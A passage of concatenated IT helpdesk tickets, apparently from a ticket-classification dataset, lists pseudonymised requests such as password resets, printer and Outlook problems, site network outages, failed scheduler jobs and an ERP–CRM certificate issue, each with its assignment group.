, is assigned to Assignment group: GRP\_16.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: i've received the message below. can you tell me from whom the email mentioned was sent ?, Description: i've received the message below. can you tell me from whom the email mentioned was sent ?, is assigned to Assignment group: GRP\_26.Ticket with Short description: email address confirmation, Description: email address confirmation, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp pi and msd crm connectivity issue- serirtce certificate renewal, Description: hi all
we have a connectivity issue between erp pi and msd crm due to certificate renewal on azure websites and that certificate is not yet updated on erp pi side.
issue: changes to data records (accounts, sales area data, partner functions, contacts, leads) are not being processed from erp pi to
worked with IT
msd crm and vice versa in all environments (prod, qa and dev).
issue start time: 24th oct ~8:15pm
troubleshooting steps:
1. when tryhdty from customer master team reported the issue that a prospect account created in erp didn't come into msd yet â€“ erp pi team observed that the records are in "still awaiting acknowledgement" status â€“ which basically means they are not yet delivered/received by the target system.
2. upon some log analysis and trying to identify the root cause between erp pi, basis and msd teams â€“ it's been observed that the issue has started in production environment since around 8:15pm est on 24th oct.
3. we observed the same behavior with azure mfg\_tool and erp pi logs of other non-production environments as well.
4. you can find error screenshots from erp pi system in the mail chain.
root cause: it appears that the certificate for azure webapps have been updated on 29th sept 2016 as it is nearing the expiration date (11th jan 2017). but the new certificate is not updated on erp pi (they are not even aware of this change!). so, when the production azure webapp (company-crm-sp-mfg\_toolt.azurewebsites.net) got restarted on 24th oct around 8:15pm â€“ this connectivity appears to have been broken.
next steps:
1. we need the azure webapp certificate chain to be sent to erp basis team so that they can update it on erp pi system. whom can i reach out to for receiving the certificate details? do we have an azure admin in house or do you want me to open a case with microsoft?
2. once certificate is received, maybe we can first do this on qa system and then upon confirmation that it works, we can apply it to production and other environments.
, is assigned to Assignment group: GRP\_14.Ticket with Short description: printer problem / issue information, Description: please complete all required questions below.
if not, it will be returned back to the gsc / requester to provide required information
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) kd05
â€¢ detailed description of the problem ? error - says i need to download and install a software driver from the \\HostName\_769 computer to print to kd05
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) word
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)
â€¢ what system or application being used at time of the problem? (ex windows / erp /) windows
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? not sure what this means
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm) not erp
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? not erp
what printer can it be rerouted too?
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_3.Ticket with Short description: power outage :australia australia: site hard down since at 7.31am et on 10/27., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na)
2. when did it start ? \_\_\_\_\_\_7.31am et on 10/27.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
5. does site have a backup circuit ? yes\_\_\_\_\_\_ (yes/no/na)
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na)
7. site contact notified (phone/email) ? \_\_\_\_na\_\_\_\_\_ (yes/no/na)
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na)
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na)
10. verified site working on backup circuit ? \_\_na\_\_\_\_\_ (yes/no/na)
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_global\_telecom\_2 # 272076960 \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
12. notified gsc \_\_\_na\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na)
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to log into erp , Description: \_x000D\_
\_x000D\_
received from: ygkzwsud.cvjgkxws@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
\_x000D\_
i am unable to log into my erp account, even the correct password id not accepted.\_x000D\_
\_x000D\_
need resolution on very urgent basis.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: activate iphone , Description: iygsxftl hysrbgad set up a spare "company owned" iphone, cause the old one was broken.\_x000D\_
agreement and supervisors appoval is attached\_x000D\_
now his account is quarantined.\_x000D\_
could you please activate his new device.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print to printer, Description: ic: welcome, our next available agent will be with you shortly...
ic: interaction alerting agent.
ic: website visitor has joined the conversation
ayrhcfxi zartupsw: hi
ayrhcfxi zartupsw: , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 10/27/2016 06:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 10/27/2016 06:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook crashing, Description: ic: welcome, our next available agent will be with you shortly...
ic: interaction alerting agent.
ic: website visitor has joined the conversation
ayrhcfxi zartupsw: hello
gstdy yrada: hi
ayrhcfxi zartupsw: hello, , is assigned to Assignment group: GRP\_27.Ticket with Short description: need file restored on t drive, Description: ic: welcome, our next available agent will be with you shortly...\_x000D\_
ic: interaction alerting agent.\_x000D\_
ic: website visitor has joined the conversation\_x000D\_
ayrhcfxi zartupsw: hello, , is assigned to Assignment group: GRP\_0.Ticket with Short description: SID\_1 logon balancing error, Description: ic: welcome, our next available agent will be with you shortly...
ic: interaction alerting agent.
ic: website visitor has joined the conversation
tyss ashdtyf: greetings
ayrhcfxi zartupsw: , hi
ayrhcfxi zartupsw: , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to sfb, Description: name:obanjrhg rnafleys
language:
browser:microsoft internet explorer
email:obanjrhg.rnafleys@gmail.com
customer number:
summary:hello,
problem signing in to skype, is assigned to Assignment group: GRP\_27.Ticket with Short description: reset the password for fygrwuna gomcekzi on e-mail, Description: bitte passwort fÃ¼r fygrwuna gomcekzi e-mail zurÃ¼cksetzen
bitte neues passwort zu cwrikael.oanmsecr@gmail.com (manager) , is assigned to Assignment group: GRP\_0.Ticket with Short description: password resetfor SID\_37, Description: \_x000D\_
\_x000D\_
received from: xyculgav.cuqptoah@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please unlock and reset my password for SID\_37 system.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: babiluntr client license expired and client is now in uacyltoe hxgaycze mode - eagl8111495 - tel.: -474, Description: babiluntr client license expired and client is now in uacyltoe hxgaycze mode - eagl8111495 - tel.: -474, is assigned to Assignment group: GRP\_28.Ticket with Short description: outbound calls not possible via germany pbx system - inbound calls are working fine - please check, Description: outbound calls not possible via germany pbx system - inbound calls are working fine - please check, is assigned to Assignment group: GRP\_28.Ticket with Short description: probleme mit laufwerk z: \laeusvjo fvaihgpx, Description: probleme mit laufwerk z: \laeusvjo fvaihgpx, is assigned to Assignment group: GRP\_24.Ticket with Short description: pls also extend mm#7389861 & 7421988 to my purchasing user account. need to create prs for both mm#., Description: pls also extend mm#7389861 & 7421988 to my purchasing user account. need to create prs for both mm#. , is assigned to Assignment group: GRP\_29.Ticket with Short description: the t/o can not be generated for dn 8058611713, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to check dn 9169722824,t/o can not be generated for this dn, , is assigned to Assignment group: GRP\_18.Ticket with Short description: itry to open a excel file with microsoft online but not work, Description: name:
language:
browser:microsoft internet explorer
email:mfrsnagc.mhakdfjo@gmail.com
customer number:
summary:itry to open a excel file with microsoft online but not work, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to hr\_tool , Description: unable to login to hr\_tool
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2-i have been unable to access my pay&taxes tab for several days. hangs on a time clock. what do i need to do to reso, Description: from: gstdy tehdy
sent: thursday, october 27, 2016 11:53 am
to: vkjdgtxb pkinmjqs
subject: re: fw: access to e-time
dear ,
, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client not working, Description: business\_client not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: reporting\_tool erp hana error, Description: \_x000D\_
\_x000D\_
received from: lhejbwkc.xbmyvnqf@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
everytime i want to set a filter in reporting\_tool with data source\_x000D\_
\_x000D\_
pk\_publish\_pk\_otc\_billing\_otc\_billing\_s\_x000D\_
\_x000D\_
i am getting below error message:\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d2302e.38de0930]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 10/27/2016 02:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 10/27/2016 02:25:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: please reset my erp and bex password - seem to by not synchronized - thanks!, Description:
received from: fmzdkyqv.dbrslnhe@gmail.com
fmzdkyqv dbrslnhe
director finance business
company
fmzdkyqv.dbrslnhe@gmail.com<mailto:fmzdkyqv.dbrslnhe@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: netweaver funktioniert nicht mehr, Description: \_x000D\_
\_x000D\_
received from: fcyuqvoj.ajqeidlm@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
netweaver funktioniert nicht mehr, bzw. kann ich nicht mehr Ã¶ffnen.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d23026.26b6a440]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: a kÃ¼ndigung for fgxprnub hlanwgqj, 11161827, effective 31.05.2017 has been approved. , Description: a kÃ¼ndigung for fgxprnub hlanwgqj, 11161827, effective 31.05.2017 has been approved. , is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/27/2016 01:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/27/2016 01:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook setting is changed , Description: outlook setting is changed , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2584 failed in job\_scheduler at: 10/27/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2584 failed in job\_scheduler at: 10/27/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: neues passwort fÃ¼r accountname tgryhu hgygrtui, Description: neues passwort fÃ¼r accountname tgryhu hgygrtui. passwort fÃ¼r diesen account funktioniert nicht mehr. mitarbeiter ist in kw4456 und 4567 auf frÃ¼hschicht anwesend., is assigned to Assignment group: GRP\_0.Ticket with Short description: check status tab is not appearing in purchasing screen, Description: check status button is not seen in my purchasing screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer problem / issue information, Description: drucker / scanner em85678
scanner findet pfad nicht mehr!, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open erp SID\_34 while in office, Description: without logging in to vpn remote, i am unable to login to erp. it throws balancing error, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meeting, Description: \_x000D\_
\_x000D\_
received from: tfnzwycd.bicohjga@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
provide me immediately the skype meeting options , presently it is not enabled\_x000D\_
\_x000D\_
[cid:image002.png@01d23031.68ed5240]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlookæ”¶åˆ°ç®±ä¸­folderå˜ä¸ºæ¯å¤©ä¸€ä¸ªfolderï¼Œofficeæç¤ºæ›´æ–°ã€‚, Description: outlookæ”¶åˆ°ç®±ä¸­folderå˜ä¸ºæ¯å¤©ä¸€ä¸ªfolderï¼Œofficeæç¤ºæ›´æ–°ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: can not login skype, Description: \_x000D\_
\_x000D\_
received from: icvulkwh.udnyietg@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
i can not login the skype, would you pls help to check it ,, is assigned to Assignment group: GRP\_31.Ticket with Short description: sn 04os20400001808 has been identified as unavailable via esrs monitoring services and you may have no esrs connectivity, Description: sn 04os20400001808 has been identified as unavailable via esrs monitoring services and you may have no esrs connectivity, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to create delivery:mm#2110924 can print d/n, but can't post. detail information see attachment., Description: please provide the following:\_x000D\_
\_x000D\_
what order number? \_x000D\_
\_x000D\_
what material or item number? mm#2110924\_x000D\_
\_x000D\_
what warehouse location? plant\_308 0001 \_x000D\_
\_x000D\_
issue description / error message? see attachment, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to down load ethics module , Description: from: brdhdd dhwduw
sent: thursday, october 27, 2016 6:12 am
to: nwfodmhc exurcwkm
subject::fwd: unable to down load ethics module
begin forwarded message:
from: <dqwhpjxy.pozjxbey@gmail.com>
to: <zanivrec.capbfhur@gmail.com>
subject: unable to down load ethics module
hi â€“ trust doing well . i am unable to down load & getting below msg. i did reset resolution however still same issue persist.
please help.
director of sales
company indirect channels - asia
&
dqwhpjxy.pozjxbey@gmail.com
, is assigned to Assignment group: GRP\_0.Ticket with Short description: è½¬å‘: company email to private phone-hprdlbxf nozjtgwi, Description: \_x000D\_
\_x000D\_
received from: hprdlbxf.nozjtgwi@gmail.com\_x000D\_
\_x000D\_
all\_x000D\_
\_x000D\_
please help to set up the email access to my private own cell phone.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: , india: site hard down since at 7:23 pm et at 10/26. no backup circuit., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_7:23 pm et at 10/26.\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_telecom\_vendor\_1#25191486\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_na\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to log in to ess, Description: unable to log in to ess, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype error while logging in , Description: skype error while logging in , is assigned to Assignment group: GRP\_0.Ticket with Short description: vitalyst transfer: crm installation , Description: vitalyst transfer: crm installation , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access benefits tab, Description: unable to access benefits tab, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop is very slow, any dialog bog i open is choppy & flickers.... delayed, Description: laptop is very slow, any dialog bog i open is choppy & flickers.... delayed, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_873601, Description: ticket update on inplant\_873601, is assigned to Assignment group: GRP\_0.Ticket with Short description: running full production and need erp update pushed out for several hours., Description: summary:for saturday october 29 th we will be running full production and need erp update pushed out for several hours., is assigned to Assignment group: GRP\_5.Ticket with Short description: india: 29060s-access-sw01 and sw02 went down at 02:12 pm et on 10/26., Description: india: 29060s-access-sw01 and sw02 went down at 02:12 pm et on 10/26., is assigned to Assignment group: GRP\_8.Ticket with Short description: need password reset, Description: need password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with pdf viewer on iphone for davidthd, Description: issues with pdf viewer on iphone for davidthd, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tools not connected to network even though vpn is connected., Description: engineering\_tools not connected to network even though vpn is connected., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook/crm, Description: \_x000D\_
\_x000D\_
received from: anpocezt.qturbxsg@gmail.com\_x000D\_
\_x000D\_
are having issue with outlook and crm on our phone and computers?\_x000D\_
\_x000D\_
sent from my iphone\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: need erp password reset for hdty.yrhxssytu@company.com, Description: need erp password reset for hdty.yrhxssytu@company.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: i need security for the uacyltoe hxgaycze and dev copies of crm, Description: \_x000D\_
\_x000D\_
received from: azxhejvq.fyemlavd@gmail.com\_x000D\_
\_x000D\_
to do some general uacyltoe hxgayczeing and training i will need access to the training and development application for microsoft dynamics.\_x000D\_
\_x000D\_
mikhghytr wafglhdrhjop\_x000D\_
sr. manager, global ethics and compliance programdntys\_x000D\_
o:724-539-5147 m:412-558-3346 f:866-635-3932\_x000D\_
\_x000D\_
company inc | 1600 technology way | usa pa 15650-0231\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: internal users are unable to download discount price file on distributor\_tool / company center, Description: internal users are unable to download discount price file on distributor\_tool / company center. the issue is probably related to the change made for ftp download. we need to fix issues aerp as this is causing lost sales.
external users works fine.
all,
zsdr0shstrud
is the price maintenance abap report for the pricing team to maintain price data in erp erp and it is going to be limited to pricing functions for all price related uploads into erp.
however, the function "distributor discount report" from that report i don't see a problem to usa access also for internal users (especially as the external users seem to have already access to it):
best , is assigned to Assignment group: GRP\_21.Ticket with Short description: unable to login to collaboration\_platform, Description: unable to login to collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to receive emails on company provided iphone, Description: unable to receive emails on company provided iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool ist sehr langsadgtym \ywqgrbnx jwnsyzbv \jionmpsf wnkpzcmv, Description: EU\_tool ist sehr langsadgtym \ywqgrbnx jwnsyzbv \jionmpsf wnkpzcmv, is assigned to Assignment group: GRP\_24.Ticket with Short description: request to reset microsoft online services password for sgblhypi.htqmidsn@gmail.com, Description: request to reset microsoft online services password for sgblhypi.htqmidsn@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: alte eq abholen \wrcktgbd wzrgyunp, Description: alte eq abholen \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme lan an tgeyd1 \we\_wu113 \wrcktgbd wzrgyunp, Description: probleme lan an tgeyd1 \we\_wu113 \wrcktgbd wzrgyunp, is assigned to Assignment group: GRP\_24.Ticket with Short description: support fÃ¼r we111\zlqfptjx xnklbfua, Description: support fÃ¼r we111\zlqfptjx xnklbfua, is assigned to Assignment group: GRP\_24.Ticket with Short description: username locked, Description:
received from: inhekdol.anvqzdif@gmail.com
hello,
username "gdthryd"; mgvpoyqd tnlshpwb, is locked out of his computer. i am sending this message on his behalf.
please help,
inhekdol anvqzdif
quality technologist
inhekdol.anvqzdif@gmail.com<mailto:inhekdol.anvqzdif@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to lan internet , Description: unable to connect to lan internet , is assigned to Assignment group: GRP\_0.Ticket with Short description: install collaboration\_platform, Description: install collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for hbcejwsz.cejsmdpf@gmail.com, Description: request to reset microsoft online services password for hbcejwsz.cejsmdpf@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update , Description: ticket update , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot access guest wifi sponsor portal, Description: receive "sponsor portal internal error" when attempting to issue guest wifi access\_x000D\_
this is the link i was given to use:\_x000D\_
#createknownaccountssummary\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs help to login to the company vpn., Description: user needs help to login to the company vpn.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the company vpn.\_x000D\_
-user confirmed he is now abl eto login to the erp SID\_34.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: need to map mailboxes of colleagues., Description: need to map mailboxes of colleagues., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: new team details not updated on bobj reports from ess, Description: new team and manager details not updated on bobj reports from ess. on opening the bex reports from ess (refer screenshot) the reports still shows the old team data. need to reflect the new team data.\_x000D\_
\_x000D\_
new manager details are already updated on erp.\_x000D\_
\_x000D\_
phone: 204 78sartlgeo lhqksbdx902, is assigned to Assignment group: GRP\_9.Ticket with Short description: email font showing very small when replying to emails., Description: email font showing very small when replying to emails.\_x000D\_
-connected to the user system using teamviewer\_x000D\_
-corrected the font size.\_x000D\_
-advised the user to check now.\_x000D\_
-user confirmed all is fine now.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for hdthy v hstdd using password\_management\_tool password reset., Description: reset passwords for hdthy v hstdd using password\_management\_tool password reset., is assigned to Assignment group: GRP\_17.Ticket with Short description: computer in the maintenance dept. is down. please fix., Description: computer in the maintenance dept. is down. please fix., is assigned to Assignment group: GRP\_3.Ticket with Short description: computer is down in the old cnc area. please fix for erp., Description: computer is down in the old cnc area. please fix for erp., is assigned to Assignment group: GRP\_3.Ticket with Short description: user needs new telephony\_software password., Description: user needs new telephony\_software password.
, is assigned to Assignment group: GRP\_7.Ticket with Short description: vip - printer connection request to ag99435, Description:
received from: sbgvrncj.idfhtoqv@gmail.com
hello,
i want to connect my workstation to printer ag99435 in germany.
the following screen shot says i need permission to connect to this printer from the system administrator.
[cid:image003.jpg@01d22f99.9aa063b0]
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot get onto the network on my pc., Description: i cannot get onto the network on my pc., is assigned to Assignment group: GRP\_3.Ticket with Short description: vip 1 :login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account..\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: misplaced password for the hub, Description: unable to login to the hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: please reset my SID\_34 password, Description:
received from: azxhejvq.fyemlavd@gmail.com
user id gdthrujt
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to setup guest wi fi access, Description: need to setup guest wi fi access, is assigned to Assignment group: GRP\_0.Ticket with Short description: trouble viewing and printing commerirtcal inwarehouse\_tools, Description: \_x000D\_
\_x000D\_
received from: iksqbuxf.muzxgwvk@gmail.com\_x000D\_
\_x000D\_
good day.\_x000D\_
\_x000D\_
please assist with issue below.\_x000D\_
\_x000D\_
[cid:image001.png@01d22f8f.02e693a0]\_x000D\_
\_x000D\_
[cid:image002.png@01d22f8f.02e693a0]\_x000D\_
\_x000D\_
when clicking to view the commercial inwarehouse\_tool, this appears blank.\_x000D\_
\_x000D\_
please help.\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_18.Ticket with Short description: outlook won't open., Description: outlook won't open., is assigned to Assignment group: GRP\_3.Ticket with Short description: engineering tool takes a long time to load, Description: issue is severe especially after 3:30 pm everyday.\_x000D\_
wants to talk to engineering tool administration team to check on account., is assigned to Assignment group: GRP\_0.Ticket with Short description: folders list in outlook dierppeared, Description: cannot see any of the folders, in outlook, emails appeared in the view, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot connect to network resources in hq, Description: cannot access erp, hq network drives
internal network drive access is working fine.
performed a flush dns / winsock reset, still nogo.
multiple users affected
ip: 10.170.245.10
, is assigned to Assignment group: GRP\_4.Ticket with Short description: dringend : schulungsraum 1 . sprechanlage funktioniert nicht., Description: schulungsraum 1 . sprechanlage funktioniert nicht.\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: data back up for germany, Description: data back up for germany, is assigned to Assignment group: GRP\_12.Ticket with Short description: server ekpsm005678 located at germany location is down since 2:27am on 10/15/16 , Description: server ekpsm005678 located at germany location is down since 2:27am on 10/15/16 , is assigned to Assignment group: GRP\_12.Ticket with Short description: germany - (company):pbx trunk card &pbx since 6:11 am et on 10/26., Description: germany - (company):pbx trunk card &pbx since 6:11 am et on 10/26., is assigned to Assignment group: GRP\_8.Ticket with Short description: konto gespaerrt., Description: konto gespaerrt., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in to the vpn, Description: i am not able to sign onto vpn with my user name and password. it says incorrect password, but it is the one i always use., is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33071122 ) :[ipbl]: [no entry] beshryulisted ip - lmsl8405227, Description: source ip :
system name :lmsl9516338
user name:trhdyd mffbsf
location :usa
sep , sms status :no updates
field sales user ( yes / no) : yes
dsw event log:see below
, is assigned to Assignment group: GRP\_3.Ticket with Short description: shortcut opening multiple folders, Description: shortcut opening multiple folders, is assigned to Assignment group: GRP\_0.Ticket with Short description: system updation for govt. tender e-procurement , Description:
received from: qalyeunp.eiyrcxog@gmail.com
dear sir,
we required system updating for govt. tender uploading in e-portal on the following computer:
computer name : aiuw8911576789
service tag no. : jnjxbq1234
model details : optiplex 780
please do the needful and confirm on urgent basis.
with kind , is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to login to pc, Description: account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent - access to rtnzvplq erhmuncq disconnected, Description:
received from: osjqfbvw.hlmgrfpx@gmail.com
hi,
could you please help, after an error message "server disconnected" i cannot make any edits to trgdyyufs' calendar, no invitations from his calendar, no calendar entries possible.
very urgent.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2103 failed in job\_scheduler at: 10/26/2016 05:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2103 failed in job\_scheduler at: 10/26/2016 05:43:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job pp\_EU\_tool\_conf\_ap1 failed in job\_scheduler at: 10/26/2016 05:42:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_conf\_ap1 failed in job\_scheduler at: 10/26/2016 05:42:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: expense report - receipt entry screen keeps locking up, Description: expense report - receipt entry screen keeps locking up\_x000D\_
